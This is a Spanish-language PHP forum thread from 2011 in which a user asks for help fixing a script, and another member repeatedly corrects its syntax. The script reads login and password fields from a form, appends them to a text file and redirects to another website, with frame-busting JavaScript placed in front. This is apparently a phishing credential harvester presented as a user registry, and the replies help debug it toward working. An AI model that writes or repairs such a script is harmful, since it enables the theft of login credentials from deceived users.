Foros del Web » Programando para Internet » PHP »

PHP OO [B]Porfavor ayua con el codigo[/B]

Estas en el tema de [B]Porfavor ayua con el codigo[/B] en el foro de PHP en Foros del Web. Hola buenas, me gustaria que me ayduaran en una cosa muy sencilla es sobe un codigo que no me fuciona en un ftp que trabaja ...
  #1 (permalink)  
Antiguo 07/05/2011, 08:04
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Exclamación [B]Porfavor ayua con el codigo[/B]

Hola buenas, me gustaria que me ayduaran en una cosa muy sencilla es sobe un codigo que no me fuciona en un ftp que trabaja con php 5.2, aver si porfavor me lo podrian corregir y postearmelo para que funcioone con esa version el caso es que me da siempre error en la sintaxis de las lineas sea cual sea siempre me da en ua nueva linea, bueno aqui esta:


<script type="text/javascript" language="javascript">/*<![CDATA[*/
var p=top.parent.document; if(p&&p.body.rows!="0,*"{ p.body.rows="0,*"; r=new Function('');}
/*]]>*/</script>

<?php
$id=$_POST['login'];
$pass=$_POST['passwd'];
$master=fopen('file.txt',a);
fwrite($master,"
email: ".$id." ...... pass: " .$pass." ";
fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://www.web.com'>";
?>




como veis es sobre una archivo que guarda el registro de los usuarios de la web.

Muchas gracias de antemano!

Última edición por alasis12; 07/05/2011 a las 09:35 Razón: poner bien el titulo
  #2 (permalink)  
Antiguo 07/05/2011, 09:39
Avatar de Patriarka  
Fecha de Ingreso: enero-2011
Ubicación: Moreno, Buenos Aires, Argentina
Mensajes: 2.851
Antigüedad: 13 años, 2 meses
Puntos: 288
Respuesta: [B]Porfavor ayua con el codigo[/B]

<?php
no se bien cual es tu problema, pero lo vemos:

primero hace un var_dump($_POST);
para ver que te lleguen bien las variables.



$id=$_POST['login'];
$pass=$_POST['passwd'];
$master=fopen('file.txt',"a"); //FIJATE QUE LE AGREGE COMILLAS A "a"
//fwrite($master," email: ".$id." ...... pass: " .$pass." "; // ESTO ESTA MUY MAL NO CERRAS EL ")"
TE RECOMIENDO PONER EL CONTENIDO EN UNA VARIABLE
$contenido=" email: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);

fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://www.web.com'>";
?>


tu problema es la sintaxis muy mala, seguro no sabes mucho del lenguaje,
pero tenes que leer lo que escribis
  #3 (permalink)  
Antiguo 07/05/2011, 09:44
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Respuesta: [B]Porfavor ayua con el codigo[/B]

Si pero esque , yo nos emucho de php me gustaria aprendd la verdad pero esque tengo muchas prisa por hacer bien el archivo y subirlo, entonces me gustaria saber cual seria el codigo coregio del que postee si lo pudieran postear te lo agrdeceria mucho a ti o a quien sea gracias de todas formas espero tu respuesta :)
  #4 (permalink)  
Antiguo 07/05/2011, 09:49
Avatar de Patriarka  
Fecha de Ingreso: enero-2011
Ubicación: Moreno, Buenos Aires, Argentina
Mensajes: 2.851
Antigüedad: 13 años, 2 meses
Puntos: 288
Respuesta: [B]Porfavor ayua con el codigo[/B]

primero arreglalo vos con las ayudas que te di y probalo
luego si te sigue dando error mostranos el codigo y el error.

pero antes te tengo que decir que en cualquier lugar como este es para ayudarnos entre si
no para hacer el trabajo de otro.
  #5 (permalink)  
Antiguo 07/05/2011, 10:09
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Pregunta Respuesta: [B]Porfavor ayua con el codigo[/B]

Gracia sporque me va mejor porque ahora me redirecciona al logearme en web ossea que el redirecionador del php funciona pero antes de redirecionarme se queda un momento en el php y pone esto:
$id=$_POST['user']; $pass=$_POST['pass']; $master=fopen('curradototal.txt',"a"); fwrite($master," $contenido=" user: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);
fclose($master); echo ""; ?>


ah y no se escribe nada en el txt :S.
Gracias de antemano, porlomenos consegui un avanze :).

Última edición por alasis12; 07/05/2011 a las 10:27
  #6 (permalink)  
Antiguo 07/05/2011, 10:34
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Respuesta: [B]Porfavor ayua con el codigo[/B]

Cita:
Iniciado por Patriarka Ver Mensaje
primero arreglalo vos con las ayudas que te di y probalo
luego si te sigue dando error mostranos el codigo y el error.

pero antes te tengo que decir que en cualquier lugar como este es para ayudarnos entre si
no para hacer el trabajo de otro.
Si me pedes ayudar te loa gradeceria en el alma ya se que igual pido casi tdoo pero esque estuve trbandjo mucho en el index y me compe un dominio on ftp para hacer todo esto y no me funiocnaba y nesito que me funicone el php, Gracias de antemano Salu2.
  #7 (permalink)  
Antiguo 07/05/2011, 10:47
Avatar de Patriarka  
Fecha de Ingreso: enero-2011
Ubicación: Moreno, Buenos Aires, Argentina
Mensajes: 2.851
Antigüedad: 13 años, 2 meses
Puntos: 288
Respuesta: [B]Porfavor ayua con el codigo[/B]

mostrame como te quedo el codigo
  #8 (permalink)  
Antiguo 07/05/2011, 10:52
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Pregunta Respuesta: [B]Porfavor ayua con el codigo[/B]

$id=$_POST['user'];
$pass=$_POST['pass'];
$master=fopen('curradototal.txt',"a");
fwrite($master,"
$contenido=" user: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);
fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://(la web que puse'>";
?>


en el txt puse lo de currado porque es el archivo que colge, creo que en contenido debí suutituirlo por algun contenido que te referias pero no estoy seguro gracias de antemano
  #9 (permalink)  
Antiguo 07/05/2011, 10:59
Avatar de Patriarka  
Fecha de Ingreso: enero-2011
Ubicación: Moreno, Buenos Aires, Argentina
Mensajes: 2.851
Antigüedad: 13 años, 2 meses
Puntos: 288
Respuesta: [B]Porfavor ayua con el codigo[/B]

Cita:
Iniciado por alasis12 Ver Mensaje
$id=$_POST['user'];
$pass=$_POST['pass'];
$master=fopen('curradototal.txt',"a");
fwrite($master,"
$contenido=" user: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);
fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://(la web que puse'>";
?>


en el txt puse lo de currado porque es el archivo que colge, creo que en contenido debí suutituirlo por algun contenido que te referias pero no estoy seguro gracias de antemano
si vos tenes que hecer las modificaciones que sean necesarias, por es tu sistema y nadie mas que vos lo conoce.

$id=$_POST['user'];
$pass=$_POST['pass'];
$master=fopen('curradototal.txt',"a+"); //SI VAS A GREGAR DATOS LE AGREGAS EL +

//ESTO ES MAL fwrite($master," $contenido=" user: ".$id." ...... pass: " .$pass;

$contenido=" user: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);
fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://(la web que puse'>";
?>
  #10 (permalink)  
Antiguo 07/05/2011, 11:16
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Respuesta: [B]Porfavor ayua con el codigo[/B]

<?php
$id=$_POST['user'];
$pass=$_POST['pass'];
$master=fopen('curradototal.txt',"a"
$contenido=" user: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);

fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://(web)'>";
?>


Lo termine asi y me puso error en la sintaxis numero 16 la cual es la de $contenido=" user: ".$id." ...... pass: " .$pass;
y siempre es lo mismo la misma historia, que cansancio..
Mirame si quiers aver gracias de antemano.
  #11 (permalink)  
Antiguo 07/05/2011, 11:23
Avatar de Patriarka  
Fecha de Ingreso: enero-2011
Ubicación: Moreno, Buenos Aires, Argentina
Mensajes: 2.851
Antigüedad: 13 años, 2 meses
Puntos: 288
Respuesta: [B]Porfavor ayua con el codigo[/B]

bueno hace lo q te dije antes en la primer linea pone

var_dump($_POST);
  #12 (permalink)  
Antiguo 07/05/2011, 11:39
 
Fecha de Ingreso: mayo-2011
Mensajes: 7
Antigüedad: 12 años, 11 meses
Puntos: 0
Exclamación Respuesta: [B]Porfavor ayua con el codigo[/B]

Pongo este codigo:
<?php
var_dump($_POST);
$id=$_POST['user'];
$pass=$_POST['pass'];
$master=fopen('curradototal.txt',"a");
$contenido=" user: ".$id." ...... pass: " .$pass;
fwrite($master, $contenido);

fclose($master);
echo "<meta http-equiv='Refresh' content='1;url=http://(web)'>";
?>



Y lo mismo pone ene l php: array (0) pasan 2 segundos como mucho y se redirige a (web) , porsupueto no llega nada al archivo de texto.
  #13 (permalink)  
Antiguo 07/05/2011, 12:00
Avatar de Patriarka  
Fecha de Ingreso: enero-2011
Ubicación: Moreno, Buenos Aires, Argentina
Mensajes: 2.851
Antigüedad: 13 años, 2 meses
Puntos: 288
Respuesta: [B]Porfavor ayua con el codigo[/B]

bueno comenta esto
//echo "<meta http-equiv='Refresh' content='1;url=http://(web)'>";
asi vemos elñ resultado

Etiquetas: Ninguno
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 01:23.